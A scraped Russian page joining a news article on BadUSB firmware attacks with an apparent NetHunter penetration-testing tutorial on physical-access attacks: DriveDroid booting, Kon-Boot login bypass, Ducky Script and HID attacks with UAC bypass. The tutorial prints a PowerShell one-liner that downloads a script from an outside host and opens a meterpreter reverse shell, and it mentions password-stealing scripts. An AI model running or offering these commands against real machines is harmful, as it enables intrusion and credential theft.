Bad usb kali linux

Bad USB — как новая атака реализована в разных устройствах

История превращения накопителей с интерфейсом USB в хакерский инструмент получила продолжение. Обратная разработка прошивки популярного контроллера переводит методику на новый уровень доступности. Теперь атаку под названием Bad USB может провести любой желающий, не обладая при этом достаточными познаниями для самостоятельного написания микрокода.

Все операции с памятью на USB-Flash обрабатываются контроллером, управляющий микрокод которого хранится в служебной области адресного пространства. У пользователя нет доступа к ней штатными средствами, а некоторые модели и вовсе требуют использования аппаратного программатора. Сегодня для упрощения процедуры записи и обновления прошивки многие производители выполняют эту операцию непосредственно через интерфейс USB. Обычная прошивка – это закрытый (проприетарный) код, поэтому считается, что изменить его может только сам разработчик.

На проходившей в штате Кентукки ежегодной конференции DerbyCon Адам Коудил (Adam Caudill) и Брэндон Уилсон (Brandon Wilson) в совместном докладе рассказали об успешной обратной разработке прошивки для контроллера Phison 2303 (2251-03) и показали практические варианты реализации атаки Bad USB.

Универсальный контроллер Phison 2251-03 (фото: Adam Caudill and Brandon Wilson).

Такой двухканальный контроллер USB 3.0 со встроенным восьмиразрядным микропроцессором архитектуры Intel 8051 встречается во многих съёмных носителях. Для демонстрации авторами был выбран сменный носитель Patriot Supersonic Xpress ёмкостью 8 ГБ.

Изначально Phison 2303 поддерживает создание нескольких дисковых разделов. Он может ограничивать доступ к одному из них паролем, скрывая присутствие других логических дисков. Последнее обстоятельство используется в некоторых вариантах атаки Bad USB. Во-первых, на скрытом разделе удобно хранить «боевую нагрузку». Во-вторых, так можно подсунуть «сейф без задней стенки»: пользователь будет продолжать считать скрытый раздел своего USB-Flash носителя защищённым, в то время как контроллер с изменённой прошивкой откроет его при вводе любого пароля.

Также Phison 2303 позволяет изменять идентификаторы производителя, продукта и серийный номер, что удобно для имитации других устройств. Однако этот контроллер был выбран прежде всего потому, что его прошивку можно обновлять непосредственно по USB и безо всякой проверки подлинности. Соответственно, её можно заменить не просто на новую официальную версию, а записать вместо неё свою, содержащую любые изменения и дополнительный функционал.
Перевод USB-Flash в служебный режим замыканием контактов (фото: wired.com).

Обратная разработка и модификация подразумевает получение копии исходной прошивки. Для этого USB-Flash накопитель надо перевести в служебный режим с помощью инженерной утилиты, или просто закоротив определённые контакты в момент подключения.

Оригинальная прошивка занимает не весь отведённый для неё объём, поэтому увеличение размера микрокода после добавления новых функций не стало проблемой.

По результатам реверс-инжиниринга была создана альтернативная прошивка с открытым исходным кодом. Её можно записать на любой USB-Flash носитель с соответствующим контроллером, превратив его в хакерский инструмент.

При подключении к компьютеру такая флэшка (от flash, а не flesh) с модифицированной прошивкой может опознаваться как другое устройство и скрыто выполнять функции, предусмотренные атакующей стороной. В приводимой на DerbyCon презентации флэшка опознаётся как клавиатура и отправляет команды от имени вошедшего в систему пользователя. В большинстве случаев им окажется администратор, а если и нет – существуют способы повышения привилегий, основанные на различных эксплоитах.

В примере флэшка запускает «Блокнот» и пишет в нём текст с ASCII графикой, но это могут быть совершенно любые действия. Как вариант – загрузка трояна через Wget или скрытая отправка приватных данных.

Автоматическое создание текстового документа с ASCII-графикой с помощью BadUSB (изображение: DerbyCon 4.0).

Вероятность успеха такой сложной тактики в неизвестном системном окружении считается низкой, однако она ненулевая. Действительно, для слепой атаки этот метод подходит мало: трудно предугадать конфигурацию компьютера, к которому подключат хакнутую флэшку, и перечень незакрытых на нём уязвимостей. Скорее, метод упрощает проведение целенаправленной атаки на компьютер конкретного пользователя, чьи данные требуется получить или от чьего имени совершить какую-то операцию.

Читайте также:  Linux alias with parameter

Сходным образом реализована атака Bad USB группой Offensive Security в специализированном дистрибутиве Kali Linux NetHunter. Это дальнейшее развитие проекта BackTrack, предназначенного для выполнения тестов на проникновение с использованием мобильных устройств. Его можно установить на современные смартфоны и планшеты серии Nexus. Поддерживаются Asus Nexus 7 (версии 2012 и 2013 года), Samsung Nexus 10 и LG Nexus 5. Любой из этих гаджетов NetHunter превращает в мощный инструмент для выполнения аудита безопасности.

NetHunter — реализация Bad USB на гаджетах серии Nexus (изображение: kali.org).

В режиме Bad USB на Nexus с NetHunter выполняется вариант атаки посредника (MITM). Смартфон или планшет подключается к компьютеру по USB под предлогом зарядки или копирования файлов. Далее гаджет подменяет сетевую карту, выполняя перенаправление трафика.

Фрагмент файла kali_linux_nethunter_nexus7_2012.zipsystemxbinstart-badusb

Появление подробных инструкций и готовых программных инструментов для реализации Bad USB с использованием различных серийно выпускаемых устройств свидетельствует о широком интересе к данному виду атаки. Не надо быть аналитиком, чтобы спрогнозировать резкое повышение частоты её применения в ближайшее время.

В ОС Windows можно вручную ограничить подключение по USB, разрешив его только для определённых устройств. Для этого необходимо изменить http://www.sql.ru/forum/847468/podkluchenie-konkretnogo-usb-ustroystva права доступа к соответствующим ключам реестра в разделе [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetEnumUSBSTOR].

Вероятно, разработчики антивирусных решений скоро добавят отдельные модули для более гибкого дополнительного контроля над подключаемыми по USB устройствами. Ограничивать доступ к сменным носителям и разрешать активацию согласно «белому списку» уже сейчас умеют ESET Endpoint Antivirus, Kaspersky Endpoint Security, компонент «Родительский контроль» у Dr.Web AV-Desk и другие современные средства комплексной защиты. Другое дело, что в случае Bad USB таких мер может оказаться недостаточно. Скорее всего, пользователь сам разрешит подключение опасного устройства, опрометчиво считая его неспособным навредить.

Реализация Bad USB с использованием серийно выпускаемых устройств (коллаж А.В.).

Особо подчеркну, что Bad USB – это не какая-то недавно открытая проблема на уровне самого интерфейса. Речь идёт лишь о том, что благодаря работе нескольких гиков пользователю без соответствующей квалификации стало значительно проще вмешаться в работу контроллеров некоторых устройств, допускающих обновление прошивки без использования специализированной техники.

Если раньше желающие подсунуть под видом флэшки виртуальную клавиатуру или сетевой контроллер использовали штучные экземпляры таких устройств, то сейчас их можно штамповать в домашних условиях. Малоизвестные методы, которые были прерогативой спецслужб и продвинутых хакерских групп, стали более доступны – только и всего.

В самой возможности сделать это мне трудно усмотреть что-то негативное. Часть пользователей получит более глубокие представления о работе современных устройств и ещё один стимул быть осторожнее. Просто теперь флэшку нельзя считать безопасной, даже если её дисковый раздел совершенно чист.

Источник

Kali Linux NetHunter на Android Ч.3: нарушение дистанции

Приветствую тебя, мой читатель! Надеюсь, что предыдущие части (первая и вторая) из цикла статей про Nethuter тебе понравились. Сегодня мы сосредоточим внимание на атаках, когда сам атакующий имеет непосредственный (физический) доступ к компьютеру жертвы. Итак, поехали.

DriveDroid

DriveDroid — приложение, которое позволяет вашему устройству прикидываться CD/DVD-приводом или USB-флешкой. Оно не входит в состав Nethunter, но находится в магазине приложений Nethunter (в Play Market, кстати, тоже есть). И естественно, приложение требует для работы root-права.

С помощью DriveDroid можно эмулировать ISO- и IMG-файлы образов. Также приложение умеет создавать пустые файлы-образы фиксированного размера (задается пользователем) и эмулировать их с возможностью чтения/записи, что пригодится нам чуть дальше.

При первом запуске приложение необходимо настроить. Последовательно будут отображены экраны, на каждом из которых надо будет совершить определенное действие: предоставить root-права, указать директорию для образова, выбор системы работы с USB, и т.д. В целом настройка напоминает старый принцип “далее-далее-далее-ок”, поэтому останавливаться на ней не будем. Добавлю только, что если монтирование проходит некорректно, нужно поменять систему работы с USB, там было несколько вариантов на выбор (более предпочтительный вариант находится сверху).

Читайте также:  Windows журнал очереди печати



Рис.1. Настройка и интерфейс DriveDroid.

Теперь мы можем монтировать различные образы и загружаться с них. Изначально доступен только один тестовый образ “Drive Droid Boot Tester”. При нажатии на него появляется несколько вариантов монтирования:

  • как флешку в режиме чтения,
  • как флешку в режиме чтение/запись,
  • как привод с оптическим диском.

Выбираем любой понравившийся вариант для монтирования (я выбирал “read-only usb”), перезагружаем компьютер, в BIOS меняем приоритет загрузки устройств, чтобы загрузка с внешних устройств была предпочтительнее (да-да, точно как с переустановкой Windows:) ). Если все сделано правильно, то компьютер загрузится с эмулированного тестового образа (ты сразу поймешь, что это именно он).


Рис.2. Экран загрузки с тестового образа DriveDroid.

Данное приложение позволяет нам на компьютере жертвы загрузиться через какой-нибудь LiveCD и, если на машине не установлено шифрование жесткого диска, скачать нужные файлы. В принципе, можно выполнить любое действие, которое позволяет эмулированный LiveCD: выполнить проверку на вирусы, переразметить разделы, установить ОС и другие возможные варианты.

Особо хочется отметить средство Kon-Boot, которое позволяет обходить авторизацию на Windows и Mac машинах. Release note для Windows тут и для Mac тут. Утилита для Windows в последних версиях даже умеет обходить онлайн авторизацию на Windows 10. Но не стоит сильно радоваться, так как утилита платная, и ее стоимость начинается от 25$ за персональную лицензию для одной из ОС. Придется потрясти любимую свинью-копилку. Алгоритм использования прост:

  • Монтируем образ утилиты с помощью DriveDroid;
  • Загружаемся с него (изменяем приоритет загрузки в BIOS, если понадобится), потом загрузчик Kon-Boot начинает запуск Windows;
  • Выбираем любого пользователя и заходим под ним с пустым паролем.

Видео с демонстрацией работы (не мое) можно посмотреть тут.

HID атаки

Nethunter имеет несколько встроенных инструментов для проведения HID-атак (human interface device). Для проведения данных атак необходим непосредственный доступ к атакуемой машине и возможность выполнения на ней некоторых действий (система должна быть разблокирована). HID-атаки воспринимаются системой, как легитимное поведение пользователя. Антивирусное ПО, как правило, на саму атаку не срабатывает, но может сработать на используемую нагрузку. Например, при загрузке вредоносного файла или при загрузке некодированного файла для проброса сессии meterpreter. Таким образом можно сократить время рутинных операций во время атаки, что крайне полезно в условиях ограниченного времени доступа к атакуемой машине.

Поскольку данные атаки имитируют нажатие клавиатуры, то они прекрасно работают там, где установлен только один язык ввода. И это, естественно, английский. Атакующему необходимо предусмотреть смену раскладки: прописать в скрипте (возможно для Ducky Script) или переводить язык вручную (для HID Attacks из приложения Nethunter). Иначе при запросе выполнения команды можно получить что-то типа этого:

Рис.3. Результат выполнения команды без предварительной смены раскладки.

Также, возможно, понадобится несколько раз менять раскладку. Например: первый раз на рабочем столе, второй раз — при запуске командной строки. Все это зависит от настроек на атакуемой машине.

Ducky Script

Ducky Script — скриптовый язык, с помощью которого можно составить сценарий действий, выполняемых от имени пользователя. Подключенное устройство с программой-интерпретатором посылает сигналы на компьютер, имитируя ввод с клавиатуры и мыши. Ducky Script используется для устройства USB Rubber Ducky (сейчас на Amazon стоит порядка 120$).


Рис.4. Комплект устройства USB Rubber Ducky.

В Nethunter есть встроенный интерпретатор (приложение NetHunter — вкладка “DuckHunter HID”), но заставить его корректно работать у меня не удалось.

Читайте также:  Windows 10 запретить установку драйверов видеокарты


Рис.5. Nethunter — DuckHunter HID.

Зато в NetHunter Store есть приложение Rucky (v 1.9), которое также является интерпретатором Duck Script. Приложение прекрасно отправляет ввод с клавиатуры и нажатия клавиш, но указатель мыши у меня так и не начал двигаться.

Открываем приложение Rucky, пишем скрипт на запуск Chrome со ссылкой и запускаем.

Рис.6. Rucky. Скрипт запуска Chrome.


Как выполнение Ducky Script выглядит на машине.

Вот здесь собраны примеры скриптов. Быстро установить на обои хот-доги или украсть пароли из Chrome и отправить на email… Возможности есть на все, на что фантазии хватит!

HID Attacks

В приложении Nethunter есть вкладка HID Attacks. Атаки из этой группы работают по принципу «устройство имитирует ввод с клавиатуры», но ориентированы они на определенные паттерны. Плюсом является то, что есть опция UAC Bypass (для Win7, Win8, Win10), при использовании которой командная строка запускается от администратора. Соответственно, вы должны быть залогинены, как минимум под локальным администратором, чтобы не пришлось вводить данные учетной записи администратора.


Рис.7. UAC bypass.

Для того, чтобы атаки заработали, необходимо подключить устройство как MIDI.


Рис.8. Подключение устройства как MIDI.

Рассмотрим паттерны в HID Attacks.

Данный паттерн ориентирован на запуск Powershell скрипта с удаленной машины, который должен пробросить meterpreter shell с атакуемой машины.

Рис. 9. Nethunter-HID Attacks-PowerSploit.


Рис. 10. Результат выполнения в командной строке.

iex (New-Object Net.WebClient).DownloadString(«http://192.168.1.45:80/Invoke-Shellcode.ps1»); Invoke-Shellcode -Payload windows/meterpreter/reverse_http -Lhost 192.168.1.45 -Lport 8080 -Force

Результат декодирования BASE64 строки.

Как видно из скриншота, атака у меня не удалась из-за проблем выполнения скрипта. По указанным параметрам я определил, что скорее всего должен использоваться Invoke-Shellcode.ps1 из репозитория EmpireProject. Cкрипт Invoke-Shellcode.ps1 или репозитория PowerSploit обновлен и в нем нет параметра Payload. Использование старой «подходящей» версии скрипта представлено на рис. 10.

В закодированной BASE64 строке представлены все наши параметры из окна приложения. Если что-то будете менять, не забудьте про кнопку “UPDATE” внизу, это важно.

Таким образом, ждем, пока разработчики обновят эту часть приложения Nethunter.

Тут все просто. В данном паттерне запускается командная строка и последовательно выполняются команды, указанные в параметре скрипта. Также можно запускать командную строку от администратора, можно сохранять и загружать сохраненные скрипты. И не забываем про кнопочку “UPDATE”.

Рис. 11. Nethunter — HID Attacks — Windows CMD.


Рис. 12. Результат выполнения в командной строке.

Powershell HTTP Payload

Данный паттерн должен загружать powershell нагрузку и выполнять ее. Но он не заработал у меня вообще: при запуске атаки никакие действия не происходили, а логи веб-сервера, на котором был скрипт с нагрузкой, остались пусты.

Рис.13. Nethunter — HID Attacks — Powershell HTTP Payload.

И небольшой бонус для тех, кто дочитал 🙂

Полноценный десктопный интерфейс Kali Linux, да-да! Nethunter имеет встроенный VNC-сервер (Virtual Network Computing — система удалённого доступа к рабочему столу компьютера). Настраивается все очень просто. В приложени Nethunter во вкладке KeX Manager нажимаем на кнопку “SETUP LOCAL SERVER” и устанавливаем пароль для нашего сервера. Теперь нажимаем “START SERVER”, статус сервера изменился на “RUNNING”. Нажимаем на “OPEN KEX CLIENT”, вводим заданный ранее пароль, и у нас запускается десктопный интерфейс.


Рис.14. Настройка и подключение к VNC-серверу.


Рис.15. Результат подключения к VNC-серверу.

Если мы хотим подключиться с другого устройства, необходимо, чтобы галочка “Localhost Only” была снята и клиент мог “достучаться” до сервера. Перезапускаем сервер. И с помощью VNC-клиента на другом устройстве подключаемся, указав IP устройства Nethunter и порт 5901 (например, 192.168.1.3:5901). Потом вводим ранее установленный пароль, и вот мы подключились!


Рис.16. Результат подключения к VNC-серверу с другого устройства.

На этом пока что все. Помни, все только в образовательных целях 🙂 До скорого!

Источник

Оцените статью